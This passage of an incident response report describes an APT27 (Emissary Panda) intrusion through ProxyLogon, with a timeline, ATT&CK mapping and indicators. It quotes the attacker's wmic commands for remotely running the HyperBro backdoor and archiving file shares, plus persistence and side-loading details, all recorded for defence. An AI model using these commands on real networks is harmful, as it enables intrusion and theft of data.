vulnerability "ProxyLogon", often publicly referred to as "Hafnium" vulnerability, to carry out targeted industrial espionage. The particularly perfidious aspect of this is that they intentionally acted like "ordinary hackers" in order not to trigger a comprehensive analysis and remediation. With great success. We analyzed several incidents and found that some customers did not seriously follow up on a ProxyLogon compromise because at first glance it looked like an attack by an occasional attacker. This is how Emissary Panda (APT27) managed to run through the classic APT kill chain and steal trade secrets undetected for months. Our report not only provides background and details on the process, the TTPs and the IOCs, but also initial evidence that the OGNL injection in Confluence was and is also being of interest for targeted industrial espionage. The same applies for log4shell. Strategies for Cyber Security 2022 The effects of the global vulnerabilities from 2021 will only gradually come to light. We have to assume that numerous APT and other compromises by ProxyLogon (Exchange), OGNL injection (Confluence) and log4shell (Log4j) are still undetected. Especially for log4shell, the typical detection period of three to six months has not even been reached yet. In addition, global vulnerabilities will again come to light and be exploited in 2022. Anything else would be close to a miracle. Companies are therefore well advised to prepare for this. We have the following recommendations based on our experience and findings, which are described more in detail in section Lessons Learned from 2021 on page 8. Prediction Protection Detection/Response Subscribe to advisory feeds Only pros help against pros Asset management rules! Take care of your CMDB Create a plan B like BCM The mean time to detect (MTD) must be reduced Take any compromise seriously Readiness saves time and money Thinking outside the box Every critical vulnerability is equally important Patch critical vulnerabilities immediately If you want to share just the summary with your management, you will find it also short and concise on our webpage: https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27/ HvS-Consulting AG 2022 Page 1 of 38 HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell THE CHANGING THREAT LANDSCAPE IN 2021 Just Another Incident Response investigation? In October 2021, one of our customers was notified by a government agency about suspicious activities on their network. Command and Control (C2) traffic and data exfiltration was allegedly observed. After a quick analysis of the firewall logs, the customer was able to verify the suspicion and realize that the traffic had started several months earlier. As a result, the customer decided to investigate further and ask HvS to conduct a situation assessment. In the first step of the investigation, ten internal systems with C2 traffic were identified and compromise scans of them were performed. These scans proofed a clear compromise of these systems and the presence of HyperBro, a Remote Access Tool (RAT), and other typical attack traces. A comprehensive Incident Response (IR) was then initiated with the goal of analyzing the entire infrastructure to determine the level of compromise, identify the entry vector, uncover the actor's tactics, techniques, and procedures (TTPs), assess the impact, and finally plan remediation actions. Up to this point, this case was a normal Advanced Persistent Threat (APT) incident with common TTPs. The case became interesting when we correlated the Indicators of Compromise (IOC) of this incident with the IOCs of our previous incidents. This correlation led to unexpected matches between incidents that at first glance appeared to be unrelated, which is described in more detail in section A Spotlight on the Role of APT Groups. One of the first defensive measures was to deploy an Endpoint Detection and Response (EDR) tool on all endpoints. This was to increase visibility and provide capabilities for containment and response, which later proved to be crucial. While preparing for remediation, the actor began collecting data again, using the domain administrator privileges it had previously gained. This allowed near real-time countermeasures by the IR team, which are described in detail in Phase 3: Reaction and Last Data Exfiltration. These countermeasures bought management the time to decide on a complete cut-off from the Internet until remediation was finished. The collected IOCs from the forensic analyses, OSINT searches, the observed TTPs, and analogies between the RAT and the HyperBro malware pointed to an attribution to the Emissary Panda 1 group, which was also consistent with the authorities' previous assumption. One of the most interesting facts was the determined entry vector: all identified traces date back exactly to March 04, 2021, the day when the large-scale exploitation of the ProxyLogon vulnerability started. The first system to show C2 traffic was the Exchange server, and within less than an hour, additional systems were affected. While the Exchange Server compromise was detected in March and the system was recovered during that time, the other infected systems were not detected, leaving the door open for the actor. The entire sequence of events leads to the assumption that the exploitation of ProxyLogon in this case was not an opportunistic attack. When asked by the customer's top management if they could imagine being on the short list of a Chinese actor, they indicated that they were aware of this risk. https://attack.mitre.org/groups/G0027/ aka APT27, TG-3390, Bronze Union, Lucky Mouse, Iron Tiger, UNC215 HvS-Consulting AG 2022 Page 2 of 38 HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell 2 The Major Vulnerabilities in 2021 As in every year, many vulnerabilities were discovered in 2021, for which vendors released hotfixes, administrators hopefully applied them, and security personnel reviewed infrastructure for successful remediation. Meanwhile, hackers developed exploits and used them to compromise the remaining vulnerable systems and gain an advantage. Business as usual? However, one thing has changed in the last year: The quality of some discovered vulnerabilities was outstanding in terms of the software affected, the ease of exploitation and impact, and the frequency of occurrence was higher than ever before. However, things have also changed on the attackers' side: Some of these vulnerabilities were discovered not with good intentions by security researchers. They were searched for in order to use them for attack campaigns. This resulted in exploits being available early and widespread exploitation by various actors, sometimes even before the affected organizations could react. Looking back at 2021, the following vulnerabilities, among others, immediately come to mind: Microsoft Exchange was affected by several security vulnerabilities in 2021, which became very critical mainly due to chaining them in attacks. In March 2021, ProxyLogon 2, often publicly referred to as Hafnium, was finally made public, while rumors of targeted exploitation had already existed since November 2020. Immediately following the disclosure, a previously unseen wave of widespread exploitation followed before most organizations could respond and some were not even aware of the vulnerability. During this time, we analyzed 84 Microsoft Exchange instances from various customers with our preferred APT scanner THOR 3 and found that 96% of them were scanned for ProxyLogon and in 44% of the cases the vulnerability was also exploited. Figure 1: Scanning and exploitation of ProxyLogon in Germany. CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065 https://www.nextron-systems.com/thor/ HvS-Consulting AG 2022 Page 3 of 38 HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell ProxyLogon was just one vulnerability in a whole series of vulnerabilities that put Exchange environments at risk. There were also ProxyOracle, ProxyShell, ProxyToken, and other Remote Code Execution (RCE) vulnerabilities 4 with publicly available exploits, as this collection shows: https://github.com/FDlucifer/Proxy-Attackchain. We received some customer requests to analyze compromised Exchange servers, claiming to have fixed the ProxyLogon vulnerability and not being able to explain how this could happen. Remarkably, the attention of administrators, security experts and the trade press decreased from vulnerability to vulnerability - despite vendor advisories, available exploits, and warnings about active abuse. The Exchange issue became annoying, we heard more than once "I just can't patch Exchange anymore" and reports about it were no longer clickbait. In August 2021, Atlassian's Confluence was affected by an easy-to-exploit RCE vulnerability 5 due to a OGNL injection. Shortly after the disclosure, ready-to-use exploits were available, and widespread exploitation attempts were observed on the Internet. In this case, many publicly accessible environments were also compromised. In contrast to ProxyLogon, we received comparatively few requests for proactive analysis, but more requests for post-breach analysis. The RCE vulnerability in the widely used Java library log4j 6, also known as log4shell, once again generated a lot of attention on the part of defenders and attackers in December 2021. Again, it took only a few hours before the first widespread scans for affected systems and exploitation attempts began. With the previously mentioned vulnerabilities, it was easy to assess whether an organization was affected, and the scope of analysis was limited to individual systems. In the case of log4shell, on the other hand, the effort was higher, and especially the proof of successful exploitation was laborious, as it had to be provided for each system individually 7. Since it was close to Christmas and many employees were already on vacation, some organizations decided to fix the vulnerability as part of their regular patch cycle and hope that they would not fall victim to an attack. Even though the number of attacks has decreased in early 2022, we and many other security experts 8 believe that there are still many undiscovered vulnerabilities whose impact will only become apparent in the coming months, and that many applications will remain vulnerable for a long time. ProxyOracle: CVE-2021-31196 and CVE-2021-31195; ProxyShell: CVE-2021-34473, CVE-2021-34523 and CVE-202131207; ProxyToken: CVE-2021-33766; another RCE CVE-2021-42321 CVE-2021-26084 CVE-2021-44228 and CVE-2021-44832 https://www.hvs-consulting.de/en/log4j-log4shell-tips-and-guidelines-for-action/ https://news.sophos.com/en-us/2022/01/24/log4shell-no-mass-abuse-but-no-respite-what-happened/ HvS-Consulting AG 2022 Page 4 of 38 HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell Figure 2: Timeline of release, global attention, and breach detection of selected vulnerabilities in 2021. Looking at the various players who were looking for, and in some cases abusing vulnerable systems, four categories can be distinguished based on their motivation and impact: As usual, many security researchers have tried to map the attack surface and/or to warn the affected organizations. Even if they do not compromise systems during scanning, they leave traces. Operators must spend time to figure out the intent of the attack attempt. The largest group were script kiddies and hobbyists who tried to exploit these vulnerabilities for fun or to achieve certain smaller goals like deploying crypto miners or web shells 9. Since they usually do not try to move laterally, the impact was limited to the compromised system. The group with the most attention were opportunistic cybercrime gangs, especially ransomware groups, or professional hackers with the goal of sabotaging and extorting organizations or placing backdoors and selling access to companies on the black market. In case of successful ransomware attacks, high financial and business impact was caused. But there is a fourth group, often overlooked, that has benefited from the scatter fire of the previously mentioned attackers: APT groups and advanced hackers. Because their attacks are more targeted, the total number of attacks is lower. The number of unreported cases is also much higher, as the impact is not as obvious to the public as in the case of ransomware. The actual impact through stolen information and intellectual property is also difficult to assess. Since many victims are not aware of the risk of becoming victims of espionage, APT groups are often underestimated as actors. IOCs from a ProxyShell exploitation: https://github.com/hvs-consulting/ioc_signatures/tree/main/Proxyshell HvS-Consulting AG 2022 Page 5 of 38 HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell 3 A Spotlight on the Role of APT Groups Based on the knowledge that APT groups also exploited these vulnerabilities, which is not at all surprising, we conducted more in-depth research and correlated IOCs with related IR engagements. In doing so, we made an interesting observation. ProxyLogon played a special role among last year's high-profile vulnerabilities, as it was not only widely abused by APT groups. The more prominent name "Hafnium" is not derived from the metal, but from the APT group Hafnium. Shortly after the critical vulnerabilities in Microsoft Exchange became public, there were many reports about APT groups actively abusing this flaw: Hafnium 10, which is suspected being first in detecting and exploiting those vulnerabilities 11: Emissary Panda 12, whose activities we describe in more detail in this document. Fancy Bear 13, which is known to attack Microsoft Exchange instances for a long time 14 and recently new activities in Germany were observed. Tick, Calypso, Websiic, Winnti Group 15 and a not precisely specified Iranian government-sponsored APT actor 16 and certainly, many groups more. As for the critical RCE in Confluence, the situation seems to be completely different. If you search reports, blogs, and other security feeds, you will mainly find information about abuse to deploy crypto miners. For the time being, we can confirm this observation, as we have also found this behavior in various investigations of compromised Confluence servers. In addition, there are single reports that ransomware groups also occasionally abuse this vulnerability. To our knowledge, there have been several instances where attackers exploited this vulnerability shortly after its disclosure, installed RAT tools, and waited for a highly privileged administrator to log in. Once control over the infrastructure was established, all the victim's systems were started to be encrypted. So far, nothing has been found in the public about the connection between APT groups and the use of the OGNL injection vulnerability to gain a foothold in victims' infrastructures. During malware analysis of the Emissary Panda incident mentioned earlier, we found an additional C2 IP in the configuration. This IP has never been reported as malicious or abused and appears to be part of Emissary Panda's dedicated infrastructure and not a compromised third-party system. https://attack.mitre.org/groups/G0125/ aka Operation Exchange Marauder https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/ https://attack.mitre.org/groups/G0027/ aka APT27, TG-3390, Bronze Union, Lucky Mouse, Iron Tiger, UNC215 https://attack.mitre.org/groups/G0007/ aka APT28, Sofacy, Pawn Storm, Strontium, Tasr Team https://attack.mitre.org/techniques/T1190/ https://cybernews.com/security/10-apt-groups-that-joined-the-ms-exchange-exploitation-party/ https://www.cisa.gov/uscert/ncas/alerts/aa21-321a HvS-Consulting AG 2022 Page 6 of 38 HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell Thanks to the detailed tracking of all IOCs of our incidents in a MISP 17, the correlations between the events were easily identified due to the C2 IP. These events belong to analyses of compromised Confluence servers that were previously performed and revealed crypto miner infections, but no evidence of RATs or lateral movement. In a few analyses, we identified this IP as a node scanning for vulnerable Confluence systems. Knowing that this IP is part of Emissary Panda's infrastructure and was rarely used in their campaigns suggests that Emissary Panda was also scanning for vulnerable Confluence instances. Thus, the tactic of flying under the radar was a complete success. Figure 3: Correlation of a so far unknown Emissary Panda C2 IP to IR engagements of compromised Confluence servers. In contrast, the log4shell vulnerability in log4j received more attention from the security community, IT organizations, and the press - not just the specialist press. But all kinds of attackers were also attracted to this vulnerability. One reason for this could also be that the effort required to identify and mitigate the vulnerability is much higher for the affected organizations, making it more likely for attackers to benefit from exploitation capabilities over a longer period. Reports and alerts were published very quickly 18, reminding again to take preventive measures, as almost the same APT groups as ProxyLogon were seen actively exploiting the vulnerability: Hafnium Emissary Panda 19 Charming Kitten - an Iranian government-sponsored actor And many groups more Although there have not yet been any incident response deployments where the entry vector has been identified as a log4shell misuse, we expect this to happen within the next few weeks or months, which is still the average time to breach discovery. https://github.com/MISP/MISP https://therecord.media/log4shell-attacks-expand-to-nation-state-groups-from-china-iran-north-korea-andturkey/ and https://www.securityweek.com/microsoft-spots-multiple-nation-state-apts-exploiting-log4j-flaw https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/ HvS-Consulting AG 2022 Page 7 of 38 HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell 4 Lessons Learned from 2021 Looking ahead to 2022 and the following years, we do not assume that there will be fewer critical vulnerabilities and attacks. Rather, the opposite will be the case! Therefore, every organization must think about how it is going to deal with the threat situation in the future. Prediction: It becomes more and more important to be in front of the wave! This can be achieved by implementing mechanisms that provide early warnings about newly discovered vulnerabilities, remediation actions, and hotfixes. The most reliable source are the manufacturers' advisory feeds, since relying on the specific press or warnings from authorities naturally entails a certain time delay and should therefore only be the fallback solution. In order to quickly assess whether and to what extent you are affected by a vulnerability, a good knowledge of your infrastructure and especially the publicly accessible parts - regardless of whether they are on-premises or in a cloud - is crucial, i.e., a well-filled Configuration Management Database (CMDB) / asset management is a must. In addition, it is helpful to be aware of the threat situation, incorporate it into your risk analysis, and plan appropriate countermeasures. While any company can fall victim to opportunistic cybercrime, assessing the likelihood of targeted attacks is more difficult. Despite all the challenges, it is negligent to ignore these risks. Even if protection against targeted attacks is not the primary goal, early implementation of protective measures is an investment in the future, as cybercriminals often mimic the TTPs of APT groups. Protection: Defined processes and workflows for rapid reaction are key! In order to be able to act quickly in the event of a newly discovered threat, a coordinated and tested processes must be in place. While normal patch management processes often allow a grace period of a few days or even several weeks before patches must be applied, emergency processes must be in place to react within a few hours in such cases. A patch is not always immediately available or applicable, so a range of containment measures must be prepared, for example in the case of ProxyLogon, which blocks Internet access to Outlook Web App and ActiveSync. The impact on business processes must be considered, and appropriate Business Continuity Management (BCM) plans with decision criteria and authorities must be defined. Especially when critical business services are affected, it is difficult to make the decision between business impact and IT infrastructure compromise without being prepared. Another important aspect is to be able to act at any time. Many vulnerabilities become known shortly before the weekend or during the vacation season. Attackers are distributed all over the world and sometimes specifically wait for such off-peak times. You must be able to react to a changed threat situation at any time - both on the technical and on the management level. As the handling of ProxyOracle, ProxyShell, and to some extent the Confluence vulnerability has shown, the resources of many IT departments were overloaded, which delayed remediation or even led to resignation. As with operational incidents, time reserves must be planned for security incidents, both in the security teams and in IT. HvS-Consulting AG 2022 Page 8 of 38 HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell Not all attackers exploit vulnerabilities immediately, sometimes they wait until the first waves are over and thus the attention dies down. Even if there are no exploits available for every vulnerability or active exploitation has been observed, the reverse conclusion does not apply here that these are less critical. Every high-rated or critical vulnerability must be equally important to you. Detection and response: Be prepared for the next high-profile vulnerability! Capabilities are needed to determine appropriate strategies and techniques for detecting potentially compromised assets, identifying exploitation attempts, evaluating whether they have been successful, and recommending next steps or even directly initiating forensic investigations. Such capabilities should be considered sovereign tasks, as the resources of security service providers are also limited. Similar events such as ProxyLogon or log4shell may cause bottlenecks, especially if no contracts have been concluded beforehand. The average time to detection of successful attacks needs to be shortened, as huge spread and damage can occur within a period of three to six months. For opportunistic attacks, the time periods are much shorter, but the past has shown that with a quick and rigorous response, even ransomware attacks can successfully be stopped before encryption begins. If systems have been compromised or suspicions have been raised, a thorough analysis of the level of compromise of the entire environment is critical. At a minimum, the analysis objectives must be "Can the known IOCs be detected on other systems?" "What credentials may have been exposed and has data been exfiltrated?" If you underestimate this step, you may miss the chance to get ahead of the attackers and stop them at the beginning of the attack chain, as the following sections show. HvS-Consulting AG 2022 Page 9 of 38 HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell INSIGHTS INTO AN EMISSARY PANDA ATTACK 5 Timeline of the Attack The attack can roughly be divided in three phases. The first phase was the initial compromise and achievement of objectives. The objectives included the privilege escalation and espionage of intellectual property. The second phase was the persistence phase, which lasted for seven months. In the final phase, the attackers changed their persistence strategy from Phase 2 and attempted to exfiltrate data again. This was likely a reaction to a detection of an attack to another company with the same IOCs. Figure 4: Attack Phases The following table describes the timeline of the attack with anonymous hostnames. The timestamps were converted to UTC+0. The Attacker column describes which resource (IP, compromised system, etc.) the attacker uses, and the Target column describes the system, which is targeted by the activity. HvS-Consulting AG 2022 Page 10 of 38 HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell Timestamp 20 Target Attacker Comment Phase 1 2021-03-04 07:40 EX01 104.168.236.46 C2 communication between Exchange Server and C2 IP address 2021-03-04 08:36 Client01 2021-03-04 08:36 Client01 2021-03-04 08:39 FS01 Drop and execution of HyperBro backdoor on File server system 2021-03-04 08:39 FS01 Creation of a Windows Service for persistence 2021-03-04 08:39 FS01 2021-03-04 14:40 FS01 2021-03-07 18:03 APP01 Drop and execution of HyperBro backdoor on a client system 104.168.236.46 104.168.236.46 Beginning of C2 communication Beginning of C2 communication Creation of Rar.exe on FS01 104.168.236.46 First C2 communication of APP01 Phase 2 2021-04-23 15:57 Intranet Drop and execution of HyperBro backdoor on Intranet server 2021-04-23 16:02 APP02 Drop and execution of HyperBro backdoor on Database of APP01 2021-04-23 16:03 APP02 104.168.236.46 First C2 communication of the Database System APP02 2021-08-19 10:30 APP01 87.98.190.184 C2 communication of APP1 Phase 3 2021-10-18 Attacker changed DNS Domain entry to 127.0.0.1 2021-10-18 21:46 APP01 & APP02 87.98.190.184 C2 communication of APP01 & APP02 2021-10-31 06:31 APP03 87.98.190.184 C2 communication 2021-10-31 18:50 APP04 APP01 Lateral Movement 2021-10-31 18:53 APP04 87.98.190.184 C2 communication 2021-11-09 15:59 FS01 Intranet Reconnaissance with wmic and tasklist 2021-11-09 16:03 FS01 Intranet Remote creation of batch script with wmic 2021-11-09 16:05 FS01 Intranet Remote creation of Rar.exe (WinRar) 2021-11-09 16:06 FS01 Intranet Begin of targeted collection by executing Rar.exe remotely via wmic 2021-11-09 16:09 APP05 Reconnaissance with net.exe 2021-11-09 16:25 FS01 Local execution of Rar.exe All timestamps in this report are given in UTC+0 HvS-Consulting AG 2022 Page 11 of 38 HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell Timestamp 20 Target Attacker Comment FS01 Creation of first Rar package for exfiltration APP05 Testing of different credentials in net use command for mounting the IPC share 2021-11-09 16:53 APP02 Execution of Mimikatz 2021-11-09 16:54 APP02 Exports of Registry (SAM, SYSTEM, SECURITY) 2021-11-09 16:58 APP02 Packaging of Registries with Rar.exe APP02 Another try of targeted collection by executing Rar.exe locally but by specifying remote shares in the command 2021-11-09 16:38 2021-11-09 16:48 2021-11-09 19:28 FS01 FS01 Internet Cutoff and Remediation Phase 1: Initial Compromise Figure 5 provides a simplified overview of the attack, the C2 channels, and the compromised systems. Figure 5: Attacker s course of action during Phase 1. The first known activity of the attack occurred on 04.03.2021 at 07:40 (UTC+0) with the first communication from the Exchange Server (EX01) to a known C2 IP address of the attacker. It is assumed that the initial compromise occurred shortly before this event. Since the first C2 communication originated from the Exchange Server, and the event occurred very close to the first disclosure of the ProxyLogon vulnerability by Microsoft, the initial access vector is assumed to be ProxyLogon. About an hour after the initial compromise, Emissary Panda moved laterally to the file server as well as to a client. On both of these systems the HyperBro backdoor was dropped, as described in Section 8. On the same day, a file with the name Rar.exe was created on the server fileserver. The fact that the fileserver was the first target, and the creation of Rar.exe , support the thesis that the main objective of the attack was espionage of intellectual property. With full access to the fileserver the objectives were fulfilled in the first days of the attack. HvS-Consulting AG 2022 Page 12 of 38 HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell Phase 2: Persistence After the objectives of initial access and data exfiltration were fulfilled, the next objective of this APT was persistence and remaining undetected (long-term access). These objectives were achieved in Phase 2 of the attack, which lasted from 08.03.2021 to 18.10.2021. During this time, only sparse activity from Emissary Panda was identified. The activity includes regular beaconing to C2 addresses. Furthermore, irregular lateral movement to new systems was identified. This was probably performed to strengthen their persistence and protect their access against system replacements. At least two new systems were compromised during Phase 2. Phase 3: Reaction and Last Data Exfiltration In the last phase of the attack, something tipped Emissary Panda of, and they started to change their behavior. Our best guess is that they noticed responsive actions in other attack campaigns using the same C2 infrastructure. Since the first activity in this phase was on 18.10.2021, and our IR Kick-off was in the following week, it is unlikely that we tipped them of at this point in the attack. The last phase of their attack lasted from 18.10.2021 to the forced end of the attack on 09.11.2021. The first reaction was the change of a DNS A record of one of their C2 domains to the IP address 127.0.0.1, which was done before the first response actions of this incident had been performed. Furthermore, they strengthened their foothold in the network by more lateral movement and compromising more critical systems, which is described in Section 6.9. Their last uprising was observed on 09.11.2022. First, they started with reconnaissance by pulling a task list of the File server from the compromised Intranet server (Section 6.8.2). Next, they prepared for data collection by creating Rar.exe (WinRar) remotely on the fileserver. It is unclear why Emissary Panda started testing user credentials after the creation of WinRar, since they were already using a working Domain Admin and the collection of data was running as well. Moreover, the operator of Emissary Panda mixed up the order of username and password, which explains why the credentials did not work. Due to the mixup, the operators probably thought that their stolen credentials have been revoked. Hence, in the following they tried to steal new credentials by executing Mimikatz and exporting the registry. This chaos in operations leads us to the conclusion that different phases of the attack are executed by teams with different capabilities. The initial compromise, privilege escalation, lateral movement and data exfiltration is probably performed by higher-skilled teams, while later phases of the attack such as maintaining persistence are executed by less skilled teams. The mix-up is described in more technical detail in Section 6.8.1. Meanwhile the IR team had detected the activity and taken first measures to stop the data exfiltration. While the Internet cut-off was being prepared, responders started to disrupt the attackers. In order to stop the collection process, WinRar processes were terminated remotely, and the tools used by the attackers were manipulated and therefore disarmed . Of course, this was not a permanent solution, but it bought responders and the management more time to prepare the Internet cut-off. As soon as the attackers realized that the process was stopped and they couldn t launch it again, they moved to the next compromised system and started the collection process from there. Shortly after the last observed activity the attack was stopped by cutting off internet access. This was maintained for two weeks until all remediation measures were implemented. HvS-Consulting AG 2022 Page 13 of 38 HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell 6 Description of Observed TTPs The following figure maps the observed Techniques, Tactics, and Procedures (TTPs), observed during the Emissary Panda attack to the TTPs listed by MITRE ATT&CK 21: Resource Dev elopment T1587: Dev elop Capabilities T1587.001: Malware Initial Access T1190: Exploit Public-Facing Application Execution T1047: Windows Management Instrumentation T1078: Valid Accounts T1078.002: Domain Accounts T1078.003: Local Accounts Persistence Privilege Escalation T1543: T1543: Create or Create or Modif y Sy stem Modif y Sy stem Process Process T1543.003: T1543.003: Windows Windows Serv ice Serv ice T1574: Hijack Execution Flow T1574: Hijack Execution Flow Defense Evasion T1574: Hijack Execution Flow T1574.001: DLL Search Order Hijacking T1574.002: Side-Loading T1574.001: T1574.001: DLL Search DLL Search T1036: Order Order Masquerading Hijacking Hijacking T1574.002: T1574.002: Side-Loading Side-Loading T1078: Valid Accounts T1055: Process Injection Archiv e v ia Shares Utility T1057: Process Discovery T1119: Automated Collection T1082: System Information Discovery T1074: Data Staged T1071.001: Protocols Legitimate Name or Location Hollowing T1078: Valid Accounts T1055: Process Injection T1078.002: T1055.012: Domain Process Accounts T1560.001: Admin Match Process Local T1021.002: SMB/Windows T1071: Application Layer Protocol T1036.005: Accounts T1078.003: T1560: Archive Collected Data Command Control or Serv ice Domain Accounts T1069: Permission Groups Discovery T1021: Remote Services Collection Task T1112: Modify Registry Accounts T1087: Account Discovery Lateral Movement Masquerade T1055.012: Local T1003: OS Credential Dumping Discovery T1036.004: T1078.002: T1078.003: Credential Access Hollowing T1078: Valid Accounts T1078.002: Domain Accounts T1078.003: Local Accounts Figure 6: Observed TTPs for Emissary Panda mapped to MITRE ATT&CK The following subsections explain the observations for each technique and helps to understand the attack in detail. https://attack.mitre.org/ HvS-Consulting AG 2022 Page 14 of 38 HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell Resource Development 6.1.1 Develop Capabilities: Malware (T1587.001) The attack heavily relied on the use of the HyperBro Remote Access Tool (RAT). According to our knowledge as well as several sources on the Internet 22 23, this malware is only used by Emissary Panda. Hence, HyperBro is most likely developed by the threat actor itself. The backdoor relies on DLL Search Order Hijacking and DLL Side-loading, as described in Section 6.4. Furthermore, commands sent by the attacker are executed in-memory and do not create secondary artifacts, which complicates the forensic analysis. A detailed analysis of the malware is performed in Section Malware Analysis of HyperBro. 6.2 Initial Access 6.2.1 Exploit Public-Facing Application (T1190) The initial access to the victim s infrastructure was performed by exploiting the ProxyLogon vulnerability. The vulnerability became apparent to the public when Microsoft published a blog post on 02.03.2021 stating that a new critical Exchange vulnerability was being actively exploited by attackers 24. The first communication of the victim s Exchange servers with the C2 IP addresses occurred on 04.03.2021. Furthermore, the Exchange servers were the first systems to communicate with the malicious IP addresses. Although, the initial system could not be forensically analyzed, the Firewall logs, the timing of Microsoft publication, and the first communication are sufficient to assume, that the initial access vector was in fact ProxyLogon. This leads to the conclusion that Emissary Panda used the exploitation of the public-facing Exchange server for their initial access. 6.3 Execution 6.3.1 Windows Management Instrumentation (T1047) Emissary Panda was observed to utilize the Windows Management Instrumentation (WMI) to execute malware, scripts, commands, and collection tools. $ wmic /node: process call create "cmd /c c:\perflogs\vfhost.exe" $ wmic /node: process call create "cmd /c c:\perflogs\vfhost.exe" $ wmic /node: process call create "cmd /c c:\temp\vfhost.exe" $ wmic /node: process call create "cmd /c d:\$recycle.bin\bin.bat" $ wmic /node: process call create " Rar.exe a d:\\log "E:\\" "E:\\" "H:\\*.xls*" "E:\\" "H:\ \*.csv" "E:\\" "E:\ \" d:\Users\Homes\\ -r -y -hpC0yHvnGojFe9aqyM5VqT9ik4tkVnuKkPk8t -v5444M" https://attack.mitre.org/software/S0398/ https://malpedia.caad.fkie.fraunhofer.de/details/win.hyperbro https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/ HvS-Consulting AG 2022 Page 15 of 38 HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell The first three lines show the remote execution of the HyperBro malware on different systems using different locations. In preparation to this remote execution, the corresponding malware files were dropped over an SMB connection authenticated by a legit domain admin. Following the placement of the malware, it is executed remotely with WMIC by referencing the remote system with its IP or hostname. The fourth command shows the same technique for a malicious Batch script. Last, the collection tool was executed remotely with the same technique. The specified partitions (D:\ and E:\) are located on the target system. Hence, the collection tool was also placed on the target system beforehand. A detailed description of the command can be found in Section 6.10. 6.4 Persistence 6.4.1 Create or Modify System Process: Windows Service (T1543.003) The threat actor has utilized Windows Services to achieve persistence of their HyperBro backdoor. The Windows service has the following settings: Name = windefenders Display = Windows Defenders ImagePath = "C:\Program Files (x86)\Common Files\windefenders\msmpeng.exe" Type = 0x0 Start = Auto Start Group The path of the service points to the malware, which was dropped at this location beforehand. Furthermore, the service is set to Auto Start to ensure persistence. Prior to creating this service, the threat actor created a similar service with the name windefende-921919155 but deleted it within a few seconds. This behavior was observed multiple times with variations in numbers. Hence, the service names windefende-[0-9]{9} could also serve as IOCs. 6.4.2 Boot or Logon Autostart Execution: Registry Run Keys (T1547.001) Another observed way of persistence was the utilization of a Registry run key for the current user. The key being used for persistence had the following name: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\windefenders This is a backup mechanism for the establishment of persistence, if the compromise account does not have enough privileges for the creation of a Windows Service 6.4.3 Valid Accounts: Domain Accounts (T1078.002) and Local Accounts (T1078.003) During the attack, valid accounts were used for Persistence, Lateral Movement, Defense Evasion, Execution as well as Collection. Hence, there is no optimal sub-section for the placement of this technique. The accounts included both local accounts, such as the built-in administrator, as well as domain accounts, which were mainly domain administrators. HvS-Consulting AG 2022 Page 16 of 38 HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell 6.5 Privilege Escalation Since the initial access with the exploitation of ProxyLogon (Section 6.2) provided the attacker already with system-level access to an Exchange server, and dumping of credentials (Section 6.7.1) provided a local administrator account and a domain admin account (Section 6.4.3), which could be used for lateral movement, there was no need for escalating privileges. 6.6 Defense Evasion 6.6.1 Hijack Execution Flow: DLL Search Order Hijacking (T1574.001) and DLL Side-Loading (T1574.002) As described in multiple reports 25 26, Emissary Panda often drops a legit application, which then side-loads a malicious DLL. Since Windows first searches for the DLL in the same directory as the application is launched 27, the malicious DLL is loaded even if the original DLL exists on the target system. Hence, the DLL search order is hijacked by placing the files in the same directory. The following two files are placed in the same directory to perform DLL Search Order Hijacking (T1574.001) and DLL Side-Loading: msmpeng.exe Renamed, but legit application signed by CyberArk 28 vftrace.dll Malicious DLL containing backdoor After placing the files in one directory, the msmpeng.exe is executed, which then loads the vftrace.dll. Hence, the malicious code of the DLL is running in the context of a legit application. 6.6.2 Modify Registry (T1112) The configuration of the malware is stored in the Windows Registry. Therefore, the Registry key HKLM\SOFTWARE\WOW6432Node\Microsoft\config_ is used. The following values are stored under this key: .msmpeng.exe.vftrace.dll thumb.dat1C:\Program Files (x86)\Common Files\windefenders\..0101.windefenders.windefenders.Windows Defenders.Windows Defenders Service..87.98.190.184 ..fonts.dataanalyticsclub.com 87.98.190.184 The configuration information includes, the filenames, the service name used for persistence, and C2 IPs as well as C2 domains. https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/ https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop/ https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order https://www.virustotal.com/gui/file/df847abbfac55fb23715cde02ab52cbe59f14076f9e4bd15edbe28dcecb2a348/de tails HvS-Consulting AG 2022 Page 17 of 38 HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell Besides storing their C2 configuration in the registry, Emissary Panda modified an existing registry key. Due to modifying the following registry key, they activated the 